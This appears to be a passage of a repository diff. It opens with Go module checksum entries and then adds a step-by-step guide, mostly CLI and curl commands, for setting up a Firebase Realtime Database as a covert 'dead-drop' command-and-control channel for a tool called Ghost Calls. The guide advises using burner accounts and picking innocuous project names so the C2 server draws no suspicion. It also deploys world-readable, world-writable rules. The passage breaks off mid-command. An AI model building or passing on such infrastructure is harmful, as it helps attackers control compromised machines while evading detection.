github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||||
|
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||||
|
github.com/gagliardetto/binary v0.8.0 h1:U9ahc45v9HW0d15LoN++vIXSJyqR/pWw8DDlhd7zvxg=
|
||||||
|
github.com/gagliardetto/binary v0.8.0/go.mod h1:2tfj51g5o9dnvsc+fL3Jxr22MuWzYXwx9wEoN0XQ7/c=
|
||||||
|
github.com/gagliardetto/gofuzz v1.2.2 h1:XL/8qDMzcgvR4+CyRQW9UGdwPRPMHVJfqQ/uMvSUuQw=
|
||||||
|
github.com/gagliardetto/gofuzz v1.2.2/go.mod h1:bkH/3hYLZrMLbfYWA0pWzXmi5TTRZnu4pMGZBkqMKvY=
|
||||||
|
github.com/gagliardetto/solana-go v1.16.0 h1:lRPn/NxVmxzXw+vQ3AxH33jQIvj8avx2CKVFsvUhRsY=
|
||||||
|
github.com/gagliardetto/solana-go v1.16.0/go.mod h1:2n7osXNoDeUhq1r1lOgCMVkl90yYUVrV9FHGINBWPHU=
|
||||||
|
github.com/gagliardetto/treeout v0.1.4 h1:ozeYerrLCmCubo1TcIjFiOWTTGteOOHND1twdFpgwaw=
|
||||||
|
github.com/gagliardetto/treeout v0.1.4/go.mod h1:loUefvXTrlRG5rYmJmExNryyBRh8f89VZhmMOyCyqok=
|
||||||
|
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||||
|
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||||
|
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||||
|
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||||
|
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||||
|
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||||
|
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||||
|
github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
|
||||||
|
github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
|
||||||
|
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||||
|
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||||
|
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||||
|
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||||
|
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
|
||||||
|
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
|
||||||
|
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||||
|
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||||
|
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||||
|
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||||
|
github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU=
|
||||||
|
github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8=
|
||||||
|
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||||
|
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||||
|
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||||
|
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||||
|
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||||
|
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 h1:mPMvm6X6tf4w8y7j9YIt6V9jfWhL6QlbEc7CCmeQlWk=
|
||||||
|
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1/go.mod h1:ye2e/VUEtE2BHE+G/QcKkcLQVAEJoYRFj5VUOQatCRE=
|
||||||
|
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
|
||||||
|
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
|
||||||
|
github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE=
|
||||||
|
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||||
|
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8=
|
||||||
|
github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||||
|
github.com/streamingfast/logging v0.0.0-20230608130331-f22c91403091/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
|
||||||
|
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e h1:qGVGDR2/bXLyR498un1hvhDQPUJ/m14JBRTJz+c67Bc=
|
||||||
|
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
|
||||||
|
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||||
|
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||||
|
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||||
|
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||||
|
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||||
|
github.com/test-go/testify v1.1.4 h1:Tf9lntrKUMHiXQ07qBScBTSA0dhYQlu83hswqelv1iE=
|
||||||
|
github.com/test-go/testify v1.1.4/go.mod h1:rH7cfJo/47vWGdi4GPj16x3/t1xGOj2YxzmNQzk2ghU=
|
||||||
|
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||||
|
go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ=
|
||||||
|
go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ=
|
||||||
|
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||||
|
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||||
|
go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
|
||||||
|
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
|
||||||
|
go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
|
||||||
|
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||||
|
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||||
|
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
||||||
|
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
|
||||||
|
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||||
|
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||||
|
go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0=
|
||||||
|
go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk=
|
||||||
|
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||||
|
go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw=
|
||||||
|
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
|
||||||
|
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
|
||||||
|
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||||
|
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||||
|
golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||||
|
golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
|
||||||
|
golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
|
||||||
|
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||||
|
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||||
|
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||||
|
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||||
|
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||||
|
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||||
|
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||||
|
golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
|
||||||
|
golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
|
||||||
|
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
|
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
|
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
|
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
|
||||||
|
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||||
|
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||||
|
golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
|
||||||
|
golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
|
||||||
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
|
||||||
|
golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
|
||||||
|
golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0=
|
||||||
|
golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
|
||||||
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||||
|
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||||
|
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||||
|
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
@@ -0,0 +1,357 @@
|
|||||||
|
# Firebase Project Setup Guide
|
||||||
|
|
||||||
|
This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required.
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- [Node.js](https://nodejs.org/) 18+ (for `firebase-tools` CLI)
|
||||||
|
- A Google account (use a **burner account** — never link to personal accounts)
|
||||||
|
- `curl` for testing API endpoints
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 1: Install Firebase CLI
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm install -g firebase-tools
|
||||||
|
```
|
||||||
|
|
||||||
|
Verify installation:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase --version
|
||||||
|
# Expected: 13.x or higher
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 2: Log In
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase login
|
||||||
|
```
|
||||||
|
|
||||||
|
This opens a browser for OAuth authentication. If running headless (no browser), use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase login --no-localhost
|
||||||
|
```
|
||||||
|
|
||||||
|
Follow the printed URL instructions to complete authentication.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 3: Create the Firebase Project
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Create a new project (interactive — you'll be prompted for a project ID)
|
||||||
|
firebase projects:create
|
||||||
|
|
||||||
|
# You will be prompted:
|
||||||
|
# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42
|
||||||
|
# ? What would you like to call your project? Ghost Calls
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Important:** The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: `weather-app-sync-8472`, `note-taking-backup`. Bad examples: `c2-command-control`, `hacker-op-2024`.
|
||||||
|
|
||||||
|
### Headless Project Creation (Alternative)
|
||||||
|
|
||||||
|
If `firebase projects:create` is too interactive, use the Firebase Console REST API directly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# First, get your access token
|
||||||
|
FIREBASE_TOKEN=$(firebase login:ci)
|
||||||
|
|
||||||
|
# Create the project
|
||||||
|
curl -X POST "https://firebase.googleapis.com/v1/projects" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{
|
||||||
|
"projectId": "ghost-calls-operational-42",
|
||||||
|
"displayName": "Note Sync",
|
||||||
|
"labels": {
|
||||||
|
"purpose": "development"
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 4: Enable Firebase for the Project
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Add Firebase to the project
|
||||||
|
firebase init
|
||||||
|
|
||||||
|
# Select only "Firestore" or "Database" and "Hosting" if needed
|
||||||
|
# For Ghost Calls, we only need Realtime Database, so:
|
||||||
|
# - Toggle "Realtime Database" with SPACE
|
||||||
|
# - Press ENTER to confirm
|
||||||
|
```
|
||||||
|
|
||||||
|
If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Explicitly add Firebase to the project
|
||||||
|
firebase projects:addfirebase <project-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 5: Enable the Realtime Database
|
||||||
|
|
||||||
|
### Via CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List available Firebase features — verify RTDB is available
|
||||||
|
firebase --project=<project-id> firestore:databases:list 2>/dev/null || true
|
||||||
|
|
||||||
|
# Initialize Realtime Database through CLI
|
||||||
|
firebase --project=<project-id> init database
|
||||||
|
|
||||||
|
# You'll be prompted:
|
||||||
|
# ? What file should be used for Realtime Database Security Rules? database.rules.json
|
||||||
|
# Accept default or specify rtdb.rules.json
|
||||||
|
```
|
||||||
|
|
||||||
|
### Via REST API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable Realtime Database via REST
|
||||||
|
curl -X POST \
|
||||||
|
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"databaseId": "<project-id>-default-rtdb", "type": "DEFAULT_DATABASE"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Wait 30-60 seconds for the database instance to provision.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 6: Get Your Database URL
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List Firebase projects and their resources
|
||||||
|
firebase --project=<project-id> databases:list 2>/dev/null || true
|
||||||
|
|
||||||
|
# OR use the REST API to find the database URL
|
||||||
|
curl -s \
|
||||||
|
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
| jq -r '.instances[].databaseUrl'
|
||||||
|
```
|
||||||
|
|
||||||
|
Your database URL will look like:
|
||||||
|
```
|
||||||
|
https://<project-id>-default-rtdb.firebaseio.com
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 7: Set Database Rules
|
||||||
|
|
||||||
|
For initial testing, set wide-open rules.
|
||||||
|
|
||||||
|
### Write the rules file (`database.rules.json`):
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploy rules:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Via firebase-tools CLI
|
||||||
|
firebase --project=<project-id> deploy --only database
|
||||||
|
|
||||||
|
# OR via REST API
|
||||||
|
curl -X PUT \
|
||||||
|
"https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"rules":{".read":true,".write":true}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Verify rules are deployed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" | jq .
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 8: Get Firebase API Key
|
||||||
|
|
||||||
|
The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access.
|
||||||
|
|
||||||
|
### Via CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all Firebase project resources including Web API Key
|
||||||
|
firebase --project=<project-id> apps:list 2>/dev/null
|
||||||
|
|
||||||
|
# If no apps exist, create a Web app:
|
||||||
|
firebase --project=<project-id> apps:create WEB "ghost-ctl"
|
||||||
|
|
||||||
|
# Get the config for your web app (includes apiKey):
|
||||||
|
firebase --project=<project-id> apps:sdkconfig WEB <app-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Via Google Cloud Console API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all API keys for the project
|
||||||
|
curl -s \
|
||||||
|
"https://apikeys.googleapis.com/v2/projects/<project-id>/locations/global/keys" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
| jq '.keys[].displayName, .keys[].keyString'
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 9: Test the Database
|
||||||
|
|
||||||
|
Verify end-to-end connectivity:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Write a test value
|
||||||
|
curl -X PUT \
|
||||||
|
"https://<project-id>-default-rtdb.firebaseio.com/test/hello.json" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '"world"'
|
||||||
|
|
||||||
|
# Read it back
|
||||||
|
curl -s "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
|
||||||
|
|
||||||
|
# Expected: "world"
|
||||||
|
|
||||||
|
# Delete the test value
|
||||||
|
curl -X DELETE "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 10: (Optional) Enable Firebase Cloud Messaging
|
||||||
|
|
||||||
|
For push-based command delivery (advanced):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable FCM for the project
|
||||||
|
curl -X POST \
|
||||||
|
"https://fcm.googleapis.com/v1/projects/<project-id>/messages:send" \
|
||||||
|
